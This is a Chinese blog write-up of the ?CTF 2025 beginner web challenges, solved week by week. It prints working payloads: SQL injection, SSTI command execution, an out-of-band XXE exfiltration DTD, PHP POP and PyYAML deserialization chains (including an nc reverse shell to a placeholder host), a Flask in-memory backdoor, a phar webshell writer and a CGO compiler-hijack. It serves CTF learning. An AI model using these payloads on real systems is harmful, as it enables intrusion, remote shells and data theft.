?ctf–web 前言 1 2 3 4 复现一下最近的新手赛,复现完就去反序列化和java了,sun师傅拷打的压迫感 ?ctf的体量和考点都很适宜好玩,开赛的时候只打了week1的,果然还是等不及,后面就没打完赛打完好了【依旧是没有打week4的那俩体反序列化,下次一定嘻嘻】 有的点没思路了就看了官p,c3哥哥大爱模板,喜欢【微信公众号直接搜A1natas就好了】 不对的魔丸发言的地方,随时联系交流狠狠拷打我 感谢师傅
week1 from_http 考点:http协议
Ping?? 考点:linux命令 1 给你一个ping工具,然后狠狠的想办法ping我吧
对flag进行了过滤,查看index.php发现是对完整的flag进行过滤,那么进行通配符匹配就好了
Gitttttttt 考点:.git信息泄露 1 今天布置网站的时候发现本地怎么有个.git文件夹,那是什么?无所谓了,我的静态网页不可能存在漏洞!
直接使用gackby获取.git文件即可
1 python GitHack.py http://challenge.ilovectf.cn:30589/.git/
包含不明东西的食物?! 考点:php中的文件包含以及路径穿越
试了试是四层目录结构
secret of php 考点:php的弱比较
intval函数后强等于,使用小数点绕过?a=2025.1
来到fll4g.php是经典的md5了
第一层是特殊的字符串绕过
第二层是数组绕过
第三层是md5碰撞
前端小游戏 考点:js代码审计
base64解码即可
week2 登录和查询 考点:字典爆破+sql注入 1 2 3 这么简单的登录和查询界面,应该是漏洞百出的吧~ 提示:本题只需要少于100次的爆破,快速大量爆破可能导致意外被平台拦截流量(不是题目问题)。
给了账号名已经密码字典
常规爆破密码,发现有一个是302重定向了
登录密码进来之后是一个SQL注入,flag在flags表里
sql联合注入,向id传入的参数值
1 ' UNION SELECT flag, NULL, NULL FROM flags WHERE id=2--%20
Only Picture Up
考点:文件上传 简单的文件上传然后直接连接木马就好了
flag在根目录下
Regular Expression
考点:正则表达式 第一关的正则:
1 preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?) && strlen($_?) == 40)
传参变量名是?,然而?在url中⼜是资源路径和参数的分隔符,可以使用编码或者写python脚本来说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1、^- 这是必须以 - 号为字符串开头,所以我们字符串的开头必须是减号。 2、(ctf|CTF) 这俩是⼀个匹配组,就是减号后⾯紧跟着得是 ctf 或者 CTF ,⼆者选其⼀。 3、<\n>{5} 主要是>{5},这个的意思是要有五个>,<不变,\n是换⾏,url编码⼀下就是%0a,所以这⾥是 <%0a>>>>> 4、[h-l] 这是通配符,在h到l之前的字⺟选其⼀填⼊,这⾥可以是h、i、j、k、l。五选⼀填⼊ 5、\d\d \d在正则表达式中是任意数字,两个就是任意⼀个两位数,⽐如 55 6、\W+ 这⾥是与除 A-Z、a-z、0-9 和下划线以外的任意字符匹配,⽐如!、@、~、#、空格、等等。加号的意思是贪婪匹配,⼀ 次或多次匹配前⾯的字符或⼦表达式。这⾥就是我们满⾜后⾯字符串⻓度为40所需要控制的地⽅,因为这⾥可以是任意⻓ 度。 7、@email.com flag. 字⾯意思。第⼀个点号被反斜杠转义了,所以就是点号,第⼆个点号在正则表达式当中的作⽤就是匹配任意单个字符⽐如 a,所以这⾥是 @email.com`` flaga 8、.\b$ 这⾥是以任意字符结尾,随便什么字⺟数字都可以。 "-ctf<" + "\n" + ">>>>>" + "h12" + "!@#$%^&*()" + "@email.com flaga"
第二关正则:
1 2 3 $test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0'; (preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77)
反斜杠和问号属于正则表达式保留字符,要匹配他们本身需要被转义。加号在浏览器传参的时候不能直接写,直接写会被当成空格传到后端,加号需要url编码。
1 2 3 4 5 r"\QPlease\ 777give+. !me?<=-=>(.*)Flaggg0\E(?#" + "A"*80 + ")" preg=Please\\ 777give\%2b. !me\?!(-!) (.*)Flagg[abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGH] [abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGH]
?CTF 2025 misc web部分解-CSDN博客 的脚本,也就是正常发送请求
1 2 3 4 5 6 7 8 9 10 import requests url = "http://challenge.ilovectf.cn:30399/" get_val = "-ctf<" + "\n" + ">>>>>" + "h12" + "!@#$%^&*()" + "@email.com flaga" preg = r"\QPlease\ 777give+. !me?<=-=>(.*)Flaggg0\E(?#" + "A"*80 + ")" r = requests.post(url, params={"?": get_val}, data={"preg": preg}, timeout=10) print("HTTP", r.status_code) print(r.text)
留言板 考点:SSTI漏洞 1 https://blog.csdn.net/qq_61955196/article/details/132237648
测试 漏洞存在情况
1 {{[].__class__.__base__.__subclasses__()}}
1 {{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen('ls /').read()}}
使用request绕过单引号和双引号,查看源码找传参,访问了/ssti路由,⽤POST⽅法传参messge。
1 {{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen(request.form.a).read()}}&a=cat /flag
这是什么函数 考点:python原型链污染
提示信息收集,那么目录扫描一下
/flag和/src路由,在/src当中源码泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from flask import Flask,request,render_template import json app = Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) def is_json(data): try: json.loads(data) return True except ValueError: return False class cls(): def __init__(self): pass instance = cls() cat = "where is the flag?" dog = "how to get the flag?" @app.route('/', methods=['GET', 'POST']) def index(): return render_template('index.html') @app.route('/flag', methods=['GET', 'POST']) def flag(): with open('/flag','r') as f: flag = f.read().strip() if cat == dog: return flag else: return cat + " " + dog @app.route('/src', methods=['GET', 'POST']) def src(): return open(__file__, encoding="utf-8").read() @app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return "fail" return "success" if __name__ == '__main__': app.run(host='0.0.0.0',port=5000)
1 2 3 /flag:判断全局变量cat和dog是否相同,相同则输出flag,否则输出cat和dog变量值。 /src:显示当前⽂件,即file。 /pollute:将收到的json格式数据当作参数,执⾏⾃定义函数merge(),并且回显是否执⾏成功。
则有两种污染获得flag的方法,要么将cat和dog其中一个进行污染使其相等,要么将file污染成flag直接读出来,然后访问/flag或者/src就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "__init__" : { "__globals__" : { "__file__" : "/flag" } } } { "__init__" : { "__globals__" : { "dog" : "where is the flag?" } } }
官p的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requests import re def fetch_flag(base_url, pollute_data): try: # 发送POST请求到/pollute路由 pollute_response = requests.post( f"{base_url}/pollute", json=pollute_data, headers={"Content-Type": "application/json"} ) print(f"Pollute请求状态码: {pollute_response.status_code}") pollute_response.raise_for_status() # 请求flag路由 flag_response = requests.get(f"{base_url}/flag") print(f"Flag请求状态码: {flag_response.status_code}") flag_response.raise_for_status() # 提取flag content = flag_response.text match = re.search(r'flag\{.*?\}', content) if match: return match.group() else: return "未找到flag特征字符串" except requests.exceptions.RequestException as e: return f"请求发⽣错误: {str(e)}" except Exception as e: return f"发⽣错误: {str(e)}" if __name__ == "__main__": BASE_URL = "http://challenge.ilovectf.cn:30462" POLLUTE_DATA = { "__init__" : { "__globals__" : { "dog" : "where is the flag?" } } } result = fetch_flag(BASE_URL, POLLUTE_DATA) print(result)
Look at the picture 考点:php伪协议 1 你想看什么图片都行,但只能是http协议哦~ 不要偷偷用其它的
目录扫描到www.zip
查看源码有file_get_contents的任意⽂件读取漏洞,还有黑名单限制关键词
用php://filter来进行对黑名单的绕过
官方题解当中说了,常⽤的base64和string被ban了,可以使用下面的过滤器进行绕过也ok,记下来
1 2 convert.iconv.<源编码>.<⽬标编码> 这个过滤器可以进⾏任意字符编码之间的转换
week3 查查忆 考点:无回显xxe
1 https://blog.csdn.net/Libra1313/article/details/149851715?spm=1001.2101.3001.10752
读取该flag文件,无回显加载外部dtd文件
正常来说在vps上放dtd文件
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///f1111llllaa44g"> <!ENTITY % code "<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx/:11111?p=%file;'>">
然后对过滤词进行编码绕过
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE a [ <!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/xxe.dtd" > %dtd;%code;%send; ]>
1 2 3 4 5 <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE a +AFs +ADwAIQ-ENTITY +ACU dtd SYSTEM +ACI-http://xx.xx.xx.xx/xxe.dtd+ACIAPg +ACU-dtd+ADsAJQ-code+ADsAJQ-send+ADs +AF0APg-
然后vps开启11111端口,查询口输入payload即可
但是复现的是一直带外不了,也不知道为什么
魔术大杂烩 考点:PHP反序列化的POP链 给的基础知识点
1 2 3 4 5 6 7 8 "__get():在对象中调⽤⼀个不可访问的或不存在的变量时触发,和符号"&有关。"__get($key)的$key是你触发"__get()时访问的那个不存在的变量。 "__call():在对象中调⽤⼀个不存在的⽅法时⾃动调⽤这个⽅法,和符号"&有关。"__call($name,$arg)的$name和$arg是触发时调⽤的⽅法名和参数。 "__toString():当⼀个对象被当做字符串输出或使⽤时触发,能触发的关键字有echo,正则函数(会进⾏类型转换),与strtolower();,die();和md5();,sha1();等函数有关。 类似 于$this"&mimi"''nohajimi';的赋值操作也会触发。 "__invoke():当⼀个对象被作为函数调⽤时⾃动调⽤这个⽅法,和()有关。 "__wakeup():在对象被反序列化之后⾃动调⽤这个⽅法,和unserialize关键字有关。 "__destruct():对象被销毁时触发,如在脚本结束时php通常会进⾏清理,通常会触发析构函数。 "__constract():对象被创建时触发,和new关键字有关。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file(__FILE__); error_reporting(0); class Wuhuarou{ public $Wuhuarou; function __wakeup(){ echo "Nice Wuhuarou!</br>"; echo $this -> Wuhuarou; } } class Fentiao{ public $Fentiao; public $Hongshufentiao; public function __toString(){ echo "Nice Fentiao!</br>"; return $this -> Fentiao -> Hongshufentiao; } } class Baicai{ public $Baicai; public function __get($key){ echo "Nice Baicai!</br>"; $Baicai = $this -> Baicai; return $Baicai(); } } class Wanzi{ public $Wanzi; public function __invoke(){ echo "Nice Wanzi!</br>"; return $this -> Wanzi -> Xianggu(); } } class Xianggu{ public $Xianggu; public $Jinzhengu; public function __construct($Jinzhengu){ $this -> Jinzhengu = $Jinzhengu; } public function __call($name, $arg){ echo "Nice Xianggu!</br>"; $this -> Xianggu -> Bailuobo = $this -> Jinzhengu; } } class Huluobo{ public $HuLuoBo; public function __set($key,$arg){ echo "Nice Huluobo!</br>"; eval($arg); } } if (isset($_POST['eat'])){ unserialize($_POST['eat']); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class Wuhuarou { public $Wuhuarou; } class Fentiao { public $Fentiao; public $Hongshufentiao; } class Baicai { public $Baicai; } class Wanzi { public $Wanzi; } class Xianggu { public $Xianggu; public $Jinzhengu; public function __construct($Jinzhengu) { $this->Jinzhengu = $Jinzhengu; } } class Huluobo { public $HuLuoBo; } $a = new Wuhuarou(); $a->Wuhuarou = new Fentiao(); $a->Wuhuarou->Fentiao = new Baicai(); $a->Wuhuarou->Fentiao->Baicai = new Wanzi(); $a->Wuhuarou->Fentiao->Baicai->Wanzi = new Xianggu('system("cat /flag");'); $a->Wuhuarou->Fentiao->Baicai->Wanzi->Xianggu = new Huluobo(); echo serialize($a);
Ezphp
考点:php非法参数名传参,无字母数字rce,命令执行长度限制绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0); highlight_file(__FILE__); $code = $_GET['c1n_y0.u g3t+fl&g?']; if(preg_match("/[A-Za-z0-9]+/",$code)){ die("hacker!"); } if(strlen($code)>14){ die("is tooooooooooooooooooo long!"); } echo "Flag is in flag.php~~ (local)."; @eval($code); ?>
预期解 非法变量名:php版本⼩于8,如果参数中出现中括号[,中括号会被转换成下划线_,如果后⾯还有⾮法字符(. [ 空格),则不会被继续转换成下划线,符号注意url编码
1 c1n[y0.u%20g3t%2Bfl%26g?
1 2 https://www.qwesec.com/2024/03/noLettersOrNumbersRCE.html#%E6%80%9D%E8%B7%AF https://blog.csdn.net/q20010619/article/details/109206728
取反加``执行命令加四字符绕过长度限制:
1 2 ?c1n[y0.u%20g3t%2Bfl%26g?=$_=~%C1%9C%9E%8B;`$_`; ?c1n[y0.u%20g3t%2Bfl%26g?=`*>=`;
非预期解 在别的师傅【未知的师傅】那里学来的文件上传写入flag到txt下
run.sh
1 2 3 4 5 6 7 8 import requestsurl = r"http://challenge.ilovectf.cn:30590/?c1n%5By0.u%20g3t%2Bfl%26g%3F=`.+/*/*[@-[]`;" r = requests.post(url, files={'file' : open (r"D:\强制文件上传\run.sh" )}) print (r.text)
MySQL管理工具 考点:JWT伪造,MySQL任意文件读取漏洞,py-yaml反序列化
查看源码存在弱口令,登录上去发现是一个mysql连接页面,随意输入密码显示权限不足
抓包查看有Authorization ,jwt形式,先尝试爆破key,然后来构造admin
伪造了admin之后,显示不能连接本地的mysql是不是就能连别的数据库,mysql任意连接,找exp来打
1 https://github.com/allyshka/Rogue-MySql-Server
修改端口号【也可以不改】,和读取的文件app.py,就可以在自己的vps上面启python服务,然后读的文件在mysql.log当中
为什么读app.py呢 因为识别到相应的【python-flask】了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 import os import yaml import MySQLdb from flask import Flask, request, jsonify, render_template, redirect from functools import wraps app = Flask(__name__) app.secret_key = os.urandom(24) def login_required(f): @wraps(f) def decorated_function(*args, **kwargs): token = request.headers.get('Authorization', '').replace('Bearer ', '') if not token or token not in ['admin', 'user']: return jsonify({"error": "Unauthorized"}), 401 request.current_user = token return f(*args, **kwargs) return decorated_function @app.route('/') def index(): return redirect('/login') @app.route('/login') def login(): return ''' <form action="/login" method="post"> Username: <input type="text" name="username"><br> Password: <input type="password" name="password"><br> <input type="submit" value="Login"> </form> ''' @app.route('/login', methods=['POST']) def do_login(): username = request.form.get('username', '') password = request.form.get('password', '') if username == 'admin' and password == os.getenv('ADMIN_PASS', 'admin123'): return jsonify({"token": "admin"}) elif username == 'user' and password == 'user123': return jsonify({"token": "user"}) else: return jsonify({"error": "Invalid credentials"}), 401 @app.route('/dashboard') @login_required def dashboard(): if request.current_user == 'admin': return ''' <!DOCTYPE html> <html> <head> <title>Admin Dashboard</title> <style> .container {max-width: 800px; margin: 0 auto; padding: 20px;} input, button {margin: 5px; padding: 8px;} input {width: 200px;} </style> </head> <body> <div class="container"> <h3>🐙 测试 MySQL 连接</h3> <form id="f"> <input name="host" placeholder="Host" value="127.0.0.1"> <input name="port" placeholder="Port" value="3306"> <input name="user" placeholder="User" value="root"> <input name="password" placeholder="Password" type="password"> <input name="db" placeholder="Database" value="mysql"> <button type="button" onclick="test()">测试连接</button> </form> <pre id="out"></pre> </div> <script> const token = localStorage.getItem('token'); if(!token) location.href='/'; async function test(){ const out = document.getElementById('out'); out.textContent = '正在测试...'; let data = Object.fromEntries(new FormData(f).entries()); try{ let res = await fetch('/test_mysql', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + token }, body: JSON.stringify(data) }); let j = await res.json(); out.style.color = j.success ? 'green' : 'red'; out.textContent = j.success ? '连接成功!' : '连接失败\\n' + (j.error || ''); } catch(e) { out.textContent = '请求出错:' + e; } } </script> </body> </html> ''' else: return '<h3>User Dashboard</h3><p>Welcome, user!</p>' @app.route('/test_mysql', methods=['POST']) @login_required def test_mysql(): if request.current_user != 'admin': return jsonify({ "success": False, "error": "权限不足,只有 admin 可以测试 MySQL 连接" }), 403 data = request.get_json() or {} for k in ("host", "port", "user", "password", "db"): if k not in data: return jsonify({"success": False, "error": f"缺少字段: {k}"}) try: conn = MySQLdb.connect( host=data["host"], port=int(data["port"]), user=data["user"], passwd=data["password"], db=data["db"], connect_timeout=5, charset='utf8mb4', local_infile=1, ssl=None ) cur = conn.cursor() cur.execute("SELECT 1") cur.close() conn.close() return jsonify({"success": True}) except MySQLdb.Error as e: return jsonify({"success": False, "error": str(e)}) except Exception as e: return jsonify({"success": False, "error": f"其他错误: {e}"}) @app.route('/uneed1t', methods=['GET']) def uneed1t(): data = request.args.get('data', '') if data == '': return jsonify({"result": "null"}) try: black_list = ["system", "popen", "run", "os"] for forb in black_list: if forb in data: return jsonify({"result": "error"}) yaml.load(data, Loader=yaml.Loader) return jsonify({"result": "ok"}) except Exception as e: return jsonify({"result": "error"}) if __name__ == "__main__": app.run(host="0.0.0.0", port=8000)
审计多出来的路由/uneed1t的代码段,发现使用了yaml.load做加载器,即使使用了黑名单限制了一写操作,还是可以用 subprocess模块执行命令打yaml反序列化漏洞
1 https://xz.aliyun.com/news/7518
payload:
1 2 3 4 5 6 7 """!!python/object/apply:subprocess.Popen - ["sh","-c","cat /f* >1.txt"] """ """!!python/object/apply:subprocess.call [['/bin/busybox','nc','xx.xx.xx.xx','11111','-e','/bin/sh']] """
脚本【叫ai写的 嘻嘻】:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests import urllib.parse # 目标URL - 请修改为实际目标 target_url = "http://target.com:8000/uneed1t" # 1. 任意文件读取 payload = """!!python/object/apply:subprocess.Popen - ["sh","-c","cat /f* >1.txt"] """ # 2. 反弹shell # payload = """!!python/object/apply:subprocess.call # [['/bin/busybox','nc','YOUR_VPS_IP','YOUR_PORT','-e','/bin/sh']] # """ # 编码并发送请求 encoded_payload = urllib.parse.quote(payload) full_url = f"{target_url}?data={encoded_payload}" response = requests.get(full_url) print(f"状态码: {response.status_code}") print(f"响应: {response.text}")
VIP 考点:go ssti+劫持环境变量提权 1 我们全新的PaaS平台提供了一个强大的Go模板服务作为免费套餐。对于我们的VIP客户,我们还提供了一项专属功能:一个独立的在线Go编译器!
1 2 https://www.cnblogs.com/Joooook/p/18089714 https://xz.aliyun.com/news/15003
给了源码,来看看什么样的结构
1 有一个api鉴权中间件,服务启动时必须 export API_KEY=xxxxxxxx,否则 panic。Gin 中间件函数:取请求头 X-API-Key → 与后台比对 → 不对就 401 打断
只有/build路由进行了api鉴权
关键渲染模板点在/api 接口把用户输入直接拼进 template 做渲染,可远程执行任意模板语法
模板渲染,用Utils⾥的GetReader函数读⽂件,获得X-API-Key
1 { .Utils.GetReader "/proc/self/environ" | .Utils.ReadAll }} 将环境变量全部读出来,发现有个/app/secret_key.txt
那么我们也就拿到了X-API-Key,就可以过了/vip/build的鉴权控制部分,到了buildHandler部分
将用户的输入源码和环境变量原封不动【信任状态】的写盘和编译,成功就下载相应的二进制文件,失败返回回显
但是正常写入go源码当中并不会执行命令,设置”CGO_ENABLED”: “1”,go build就会调用外部 C 编译器(默认是 gcc)
既可以理解等于 build 进程先帮我们执行任意命令【但是结果不能回显】,然后落盘到固定编译的目录/build下
运用go:embed【它允许开发者在编译时将静态资源文件嵌入到可执行文件中】,将不出网的执行命令结果进行显示
将可读可写的文件【可能含有flag】写入到s.txt然后dump下来二进制文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "code": "package main\nimport \"C\"\n\nfunc main() {}", "env": { "CGO_ENABLED": "1", "GOOS": "linux", "CC": "/bin/sh -c 'find / -type f -perm /4000 2>/dev/null > /tmp/build/s.txt; gcc \"$@\"' gcc-shim" } } { "code": "package main\n\nimport (\n\t\"embed\"\n\t\"os\"\n)\n\n//go:embed s.txt\nvar f []byte\n\nfunc main() {\n\tos.Stdout.Write(f)\n}", "env": { "CGO_ENABLED": "1", "GOOS": "linux" } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "code": "package main\nimport \"C\"\n\nfunc main() {}", "env": { "CGO_ENABLED": "1", "GOOS": "linux", "CC": "/bin/sh -c '/usr/local/bin/flagread /flag.txt > /tmp/build/flag.txt; gcc \"$@\"' gcc-shim" } } { "code": "package main\n\nimport (\n\t\"embed\"\n\t\"os\"\n)\n\n//go:embed s.txt\nvar f []byte\n\nfunc main() {\n\tos.Stdout.Write(f)\n}", "env": { "CGO_ENABLED": "1", "GOOS": "linux" } }
将dump下来的文件搜素flag或者 常规来说应该会出现像wp一样的文件路劲,但是我没有找到也不知道为什么
后面和上面一样将相应地址下的flag文件dump下来找flag就好了 但是依旧没有找到,可能环境出问题【不懂】
个人感觉正常来说应该是告诉了flag文件路劲,然后在模板渲染打的任意文件读取的时候,查找发现没有权限,才会有想到劫持环境变量中的cc来进行提权进行rce来读取flag,但是wp没有这一块就显得不太连贯【有提到一嘴但是复现的时候没有感受出来】,像下面查询flag然后弹出权限不够之类的【复现的时候没有出现flag,没办法验证】,然后再拿着key去进行构造payload合理一点,也有可能是我复现的时候失误了,跳过了,嘻嘻
这又是什么函数 考点:Python Flask内存马
熟悉的页面,熟悉的目录扫描,熟悉的/src,不一样的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from flask import Flask,request,render_template app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): return render_template('index.html') @app.route('/doit', methods=['GET', 'POST']) def doit(): e=request.form.get('e') try: eval(e) return "done!" except Exception as e: return "error!" @app.route('/src', methods=['GET', 'POST']) def src(): return open(__file__, encoding="utf-8").read() if __name__ == '__main__': app.run(host='0.0.0.0',port=5000)
关注点在/doit路由下面的eval(e)【eval()函数⽤来执⾏⼀个字符串表达式,并返回表达式的值。】执行命令
尝试执行命令和源码显示的一样,显示done无回显
爆破【布尔盲注原理】:
官方wp当中的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests url = "http://challenge.ilovectf.cn:30667/doit" chars = "_-{}!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" flag = "" for i in range(1, 50): for c in chars: payload = { 'e': f'__import__("os").system("") if open("/flag").read()[{i-1}] == "{c}" else 1/0' } r = requests.post(url, data=payload) if "done!" in r.text: flag += c print(flag) break else: break # 内层 for 正常结束(未找到字符),认为 flag 已结束 print("Final flag:", flag)
内存马:
1 https://xz.aliyun.com/news/13858
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requests url = "http://challenge.ilovectf.cn:30667" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" } # 1. 注入内存马 url1 = f"{url}/doit" payload = { 'e': r"""eval("__import__('sys').modules['__main__'].__dict__['app']""" r""".before_request_funcs.setdefault(None,[]).append(""" r"""lambda:__import__('os').popen(request.args.get('o')).read())")""" } r = requests.post(url1, data=payload, headers=headers) print("注入响应:", r.text) # 2. 利用内存马执行命令 url2 = f"{url}/?o=cat /flag" r = requests.get(url2, headers=headers) # 注意:这里应该是 GET print("执行结果:", r.text)
week4 【未完成】Road to Hero 考点:php反序列化链构造和php的一些特性还有命令执行简单绕过 【未完成】ez_Ref 考点:简单的java 反序列化题 来 getshell速度!
考点:php文件上传中不含php代码命令执行的trick以及CVE-2025-32462提权 应该是模仿给的链接出的题目,新姿势
1 https://xz.aliyun.com/news/18584
题目给的源码是一个文件上传和包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php error_reporting(0); $allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; $allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed', ]; function filter($tempfile) { $data = file_get_contents($tempfile); if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true; } return false; } if ($_SERVER["REQUEST_METHOD"] == 'POST') { if (is_uploaded_file($_FILES['file']['tmp_name'])) { if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) { die("Nope :<"); } // mimetype check $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($mime_type, $allowed_mime_types)) { die('unexpected mimetype'); } // ext check $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION)); if (!in_array($ext, $allowed_extensions)) { die('unexpected extension'); } if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) { echo "File upload success!Please include with 'url'"; }else{ echo "fail"; } } } if (isset($_GET['url'])) { $include_url = basename($_GET['url']); if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) { die("unexpected extension"); } include '/tmp/' . $include_url; exit; } ?> <form enctype='multipart/form-data' method='post'> <input type='file' name='file'> <input type="submit" value="upload"></p> </form>
给了白名单,后缀被禁用了,还对内容也做了限制
phar反序列化函数和php代码段
basename限制目录穿越,匹配限制文件扩展名
构造phar文件写马
1 2 3 4 5 6 7 <?php $phar=new Phar("phar.phar"); $phar -> startBuffering(); $phar -> setStub('<?php file_put_contents("/var/www/html/shell.php","<?php eval(\$_POST[0]);?>");__HALT_COMPILER();?>'); $phar -> addFromString("test.txt","test"); $phar -> stopBuffering(); ?>
1 2 3 php -d phar.readonly=Off 1.php php 1.php gzip -c phar.phar >phar.phar.gz
进来之后发现没有权限查看flag文件
1 https://blog.csdn.net/Dalock/article/details/149343860
查看sudo的版本
查看配置文件/etc/sudoers
查看自己的权限,给配上asd.asd.asd就有权限了
Apple or android
考点:代码审计ssrf,ssrf打mysql,Gopherus使用联动 进来看到有个选择苹果还是安卓登录,尝试登陆和使用一下功能,苹果登陆有个生成校验的二维码,康康给的源码,按功能来审了,没有看到直接给的路由
1 进来先看的index.php,安卓登陆的话就是到login.php,苹果登陆的话就是触发getQRCode()函数
1 在login.php当中是没有给登陆跳转的,安卓人就是登陆失败不给登了,那么就只能走苹果登陆了
1 跟进苹果登陆触发的效果,从getQRCode()开始-->verify.php-->Auth.php的generateAndDisplayCode()--->ImageProcessor.php当中的函数,参数可控,函数对目标地址无限制触发ssrf
1 ok,审计出来请求二维码时候存在ssrf【利用:请求的时候构建恶意的HTTP_X_VERIFY_CODE_URL】,ssrf常见打的redis数据库,用dict来探针一下有没有相应的服务
1 打的常规的6379回显正常,但是3306的时候回显异常,推测存在相应的mysql文件,查看出现的bin文件
1 确实存在mysql服务,那么是不是可以ssrf打的mysql,一般用的curl 来进行gopher的攻击,但是呢前面审计代码的时候有fsockopen
这里用的是Gopherus3,Gopherus要用python2就换成他了
1 https://github.com/Esonhugh/Gopherus3
做了mysql写马子的限制filepriv保护,就常规的sql注入探测
1 2 3 4 show databases; select group_concat(table_name) from information_schema.tables where table_schema='ctf_db' select * from ctf_db.flags
用Gopherus3构造的相应的payload,在X-VERIFY-CODE-URL访问
注意数据包可能会被截断,可以使用分段读取函数取出
waf?waf! 1 https://www.freebuf.com/articles/web/243652.html
考点:http请求走私造成的waf绕过 1 在打?CTF? ?最后一周打了? ?想要flag??跟我的waf说去吧,我们都在用力的活着
分析一下附件给的源码
漏洞点要使用的是post请求,关注代理服务器逻辑
代理服务器则检查你的参数,过滤恶意参数,关注前后端解析的请求
头,怎么样算是一个完整的数据包
就是前端处理请求头cl,后端处理te,出现了解析差异,触发的http请求走私,可以看看前面贴的文章
解析TE时会把0视作数据停止的标志,所以这里直接加个0,然后后面加个&用于传递其他参数,注意是python的执行命令
这又又是什么函数
考点:Pickle反序列化及绕过黑名单 1 2 3 https://xz.aliyun.com/news/7032 https://goodapple.top/archives/1069 https://dummykitty.github.io/posts/pickle-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4/
题目提示依旧是/src下的源码
